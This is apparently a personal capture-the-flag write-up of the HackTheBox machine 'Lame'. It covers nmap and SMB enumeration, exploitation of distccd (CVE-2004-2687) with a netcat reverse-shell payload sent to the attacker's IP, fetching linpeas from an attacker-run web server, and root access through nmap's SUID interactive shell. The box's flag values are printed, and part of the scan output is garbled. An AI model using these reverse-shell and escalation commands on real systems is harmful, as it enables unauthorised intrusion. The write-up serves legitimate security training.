Wednesday, July 27, 2022 9:27 PM

Started off with a nmap scan nmap -Pn -T5 -sV -sC -A -p- -oN lame\_nmap.txt 10.10.10.3

While that was scanning I went to go check out to see if the website is up. But I don't get anything back and you'll see why when the results are done. We get back some nice info to start us off.

Port 80 isn't open so there was no site for me to check.

But there was other ports open such as port 21 with the version number of vsftpd 2.3.4 (This version of vsftpd is vulnerable to backdoor command execution

CVE-2011-2523) I couldn't get it to work though. So I moved on. If you can't get something to work, don't spend to much time on it. Look at the next route you can take and if you get stuck again then go back and try to repeat your steps to make sure you didn't make a typo somewhere.

```
# Nmap 7.92 scan initiated Wed Jul 27 17:39:46 2022 as: nmap -Pn -T5 -sV -sC -A -p- -oN lame_nmap.txt 10.10.3

Not sis up (0.609s latency).

Not shown: 65536 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

7 | ftp-syst:
    | STAT:
    | I ftp-syst:
    | I ftp-syst:
    | I ftp-syst:
    | I ftp-syst:
    | I l Logged in as ftp
    | I l Logged in as ftp
    | I l Logged in as ftp
    | I l Session timeout in seconds is 300
    | Control connection is plain text
    | I status
    | I l Data connections will be plain text
    | I l Data connections will be plain text
    | I l panon: Anonymous FTP login allowed (FTP code 230)
    | J ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | J syst-hootskey:
    | I l 1024 60:0f:cf:el:co:5f:6a:74:d6:90:24:fac:4:d5:6c:cd (DSA)
    | J 39/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    | 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
    | 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
    | Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: DD-WRT v24-spl (Linux 2.4.36) (92%), OpenMrt White Russian 0.9 (Linux 2.4.30) (92%), Arris TG8626/CT cable modem (92%), Dell Integrated Remote Access Controller (1DRAC6) (92%), Linux 2.4.27 (92%), Citrix XenServer S.5.5 (Linux 2.6.18) (92%), Linux 2.6.2.2 (92%), Linux 2.6.2.3 (92%)
    | No exact OS matches for host (test conditions non-ideal).
```

```
Host script results:

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```

I see that smb is open. 139/445. I run smbmap -H 10.10.10.3 and get back some users.

we can see that tmp is READ, WRITE. Lets login and see what we can find.

I use smbclient \\\\10.10.10.3\\\tmp and we get a hit. I use Is to see what we can find. Unfortunately there is nothing here either. We could use put and get files here but there is no port 80 open for us to execute the files to gain a shell from here. Some bad luck but we got more info so lets keep looking.

```
list of possible co
...
distcc_ff04f12b.stdout
distccd_ffebf12b.i
.ICE-unix
vmware-root
distccd_ffd3f12b.o
  tstccd_ffd31128.0
X11-unix
udo_2021_3156.py
X0-lock
mp.aIsng23549
listc_ff3cf12b.stderr
564.jsvc_up
gauthsvclog.txt.0
```

I go back to the nmap results and see port 3632 is open and it gave us the version of application running. distccd v1 I go to google and search for "distccd v1 exploit" first link brings us to https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855 after reading the exploit it seems to generate a random alpha numeric string. Reads the string. And looks for the trigger exploit which is command, host, port If it is able to connect to the host it will send the payload and hopefully give us a reverse shell.

Let's give it a try. I started by copying the code and writing it to a file naming it CVE-2004-2687.py, did chmod +x CVE-2004-2687.py the file is ready to be used. First I started a listener on my attacking machine with nc-lvnp 9001 and then used the following command -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" No good, got errors. Then I tried. python3 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" I got a connected to remote service Ok but then the socket timed out instantly killing the connection. I went back to the exploit and read the comments, it mentioned that python3 is to new. So I was going to work my way down from python3 to python. Next up,

python2 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" Success, we get a shell!



```
Shellshock:[/home/Shellshock/Documents/htb]
                                             -> nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:44276.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Let's upgrade the shell. I used the following.

python -c 'import pty; pty.spawn("/bin/bash")' python3 and python2 didn't work.

We're a normal user daemon. I started off with sudo -| but it asked for a password. Let's move on.

I look around a bit and cd /home directory and do a is and see what's there. Nothing good in the user directory but I did go into makis and find the user.txt file. I do a cat user.txt at it and we get out our first flag.

daemon@lame:/home/makis\$ cat user.txt dc5fe551ec49d528a9b512702ebcf77c



Next, let's head over to the tmp directory and try to transfer over some enumeration files like linpeas.sh

I go to my attacking machine on my transfers directory where I store all my enumeration files, scripts, images, anything that can be used to help us get an edge on the victim machine. I use python3 -m http.server 80 get the server up and running.

On the victim machine ill be in the /tmp directory and use wget://10.10.14.10/linpeas.sh which is my attacking machines ip from HackTheBox.

The file gets transferred over no problem. I use the chmod +x linpeas.sh making it an executable file.

I use ./linpeas.sh and it kicks off no problem. We get back a lot of results. Several vulnerabilities, but one in particular catches my eye with the yellow red highlight.

the /usr/bin/nmap suid

I head over to <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> and search for nmap

I cd /usr/bin where the suid is located.

I start off with shell code (a) and nothing happened. So I keep going down the list. Shell (b) worked!

```
daemon@lame:/tmp$ cd /usr/bin/
daemon@lame:/usr/bin$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
```

we can now cd /root and see what is there which is the root.txt flag! we have successfully rooted this box!



```
sh-3.2# cd /root
sh-3.2# ls
Desktop reset_logs.sh root.txt vnc.log
sh-3.2# cat root.txt
3a6dadc17b869927153cd30ead8ce0c8
sh-3.2#
```